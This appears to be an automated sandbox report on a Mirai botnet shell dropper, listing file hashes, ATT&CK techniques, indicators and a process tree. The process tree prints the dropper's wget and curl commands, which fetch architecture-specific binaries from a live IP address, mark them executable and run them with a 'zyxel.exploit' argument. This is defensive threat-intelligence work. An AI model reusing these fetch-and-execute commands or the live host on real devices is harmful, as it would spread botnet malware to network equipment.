mirai | abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128

Analysis

max time kernel
96s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18-10-2024 02:28

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General

Target

abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh
Size

4KB
MD5

a8d146efd93e92e80d28cbfb06d788b1
SHA1

d98a629d8028de12d68a513892ca32d3d84a9ae3
SHA256

abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128
SHA512

2c3864f4291a9a0c8e724719930f64ad2f65159981e4f27014c8ba97b906f2b7a8aafaaab38df318f56e1f07fa7be0703aa752cdee96cee8bb66dd9aab224d1b
SSDEEP

96:vNVjRNw4yNx/lNN7JNdMdEpF8Nn9jNUsWN2m4NRf1N3tLNueoNySUNGWwNPlY:KO4FQ

Score

10^/10

mirai unstable botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (133796) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod
742	chmod
788	chmod
818	chmod
877	chmod
729	chmod
765	chmod
811	chmod
827	chmod
833	chmod
871	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/load.sh	730	load.sh
/tmp/load.sh	737	load.sh
/tmp/load.sh	743	load.sh
/tmp/load.sh	766	load.sh
/tmp/load.sh	790	load.sh
/tmp/load.sh	812	load.sh
/tmp/load.sh	819	load.sh
/tmp/load.sh	828	load.sh
/tmp/load.sh	834	load.sh
/tmp/load.sh	872	load.sh
/tmp/load.sh	878	load.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	load.sh
File opened for modification	/dev/misc/watchdog	load.sh

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	load.sh
File opened for modification	/sbin/watchdog	load.sh

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	743	load.sh

Reads runtime system information 57 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/704/cmdline	load.sh
File opened for reading	/proc/769/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/808/cmdline	load.sh
File opened for reading	/proc/867/cmdline	load.sh
File opened for reading	/proc/875/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/697/cmdline	load.sh
File opened for reading	/proc/771/cmdline	load.sh
File opened for reading	/proc/776/cmdline	load.sh
File opened for reading	/proc/793/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/849/cmdline	load.sh
File opened for reading	/proc/439/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/799/cmdline	load.sh
File opened for reading	/proc/840/cmdline	load.sh
File opened for reading	/proc/698/cmdline	load.sh
File opened for reading	/proc/700/cmdline	load.sh
File opened for reading	/proc/747/cmdline	load.sh
File opened for reading	/proc/749/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/821/cmdline	load.sh
File opened for reading	/proc/822/cmdline	load.sh
File opened for reading	/proc/664/cmdline	load.sh
File opened for reading	/proc/816/cmdline	load.sh
File opened for reading	/proc/863/cmdline	load.sh
File opened for reading	/proc/874/cmdline	load.sh
File opened for reading	/proc/671/cmdline	load.sh
File opened for reading	/proc/679/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/777/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/836/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/750/cmdline	load.sh
File opened for reading	/proc/831/cmdline	load.sh
File opened for reading	/proc/692/cmdline	load.sh
File opened for reading	/proc/802/cmdline	load.sh
File opened for reading	/proc/848/cmdline	load.sh
File opened for reading	/proc/880/cmdline	load.sh
File opened for reading	/proc/699/cmdline	load.sh
File opened for reading	/proc/705/cmdline	load.sh
File opened for reading	/proc/748/cmdline	load.sh
File opened for reading	/proc/815/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/795/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/672/cmdline	load.sh
File opened for reading	/proc/693/cmdline	load.sh
File opened for reading	/proc/783/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/666/cmdline	load.sh
File opened for reading	/proc/844/cmdline	load.sh
File opened for reading	/proc/853/cmdline	load.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
733	wget
734	curl
735	cat

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/load.sh	abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	wget

/tmp/abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh
/tmp/abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh
1⤵
- Writes file to tmp directory
PID:700
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:730
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  PID:735
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  PID:741
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  PID:743
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  PID:763
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  PID:787
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:790
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  PID:810
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:812
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  PID:817
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-812aea72508d4479b295e09a1b0150eb-systemd-timedated.service-qGuBkb
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:819
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  PID:826
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:828
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  PID:832
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:834
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:836
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  PID:870
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:872
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  PID:876
- /bin/chmod
  chmod +x abab0713669f4a0d4be22828b3492f08c5498096636f3b671834cc7ce6ca9128.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/load.sh
  ./load.sh zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:878
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Writes file to tmp directory
  PID:880
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

Filesize
33KB

MD5
6d1b6e91b1e2037fbf62ca7ddcf04932

SHA1
d0769095ec2e678074eb206b3537022129c1a776

SHA256
7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

SHA512
7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

Download Submit
/tmp/load.sh

Filesize
35KB

MD5
fd5d7deebbb62aee931a1701a1042450

SHA1
4adc94ce9de13647815a16d6514b73e109c80785

SHA256
7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

SHA512
cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

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/tmp/load.sh

Filesize
37KB

MD5
144cc0c6dfb6f6e395065b02825a9ad1

SHA1
dfe5d7d8bef4511b42be1ae0235f7469d97bf789

SHA256
117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

SHA512
9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

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/tmp/load.sh

Filesize
34KB

MD5
b478298246ee6d313f4f576d0f7ec4cd

SHA1
94d25c6d4cfb1e218120d378d14c8d5ab868363b

SHA256
ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

SHA512
83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

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/tmp/load.sh

Filesize
30KB

MD5
d8893525da7152c787dcc7d6309a61ba

SHA1
87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

SHA256
2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

SHA512
8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

Download Submit
/tmp/load.sh

Filesize
83KB

MD5
5066ac4ea34bc36686d60cfd24fa8f9c

SHA1
7fd85df1be120bd57205d206811f6a22cada5546

SHA256
6cb54cc4dba85d436e253da51555dc40f47b82ec0c96d8b3aba90b3f554f957d

SHA512
ccca82b9e33e41532960e8d53913d0b9c9cf6c8c7ce6aa9d1ff7fb1c59b2fd9fbca247b9e930b37c64d8290a712cae30b06493074117a0699e0391acb6f88ba1

Download Submit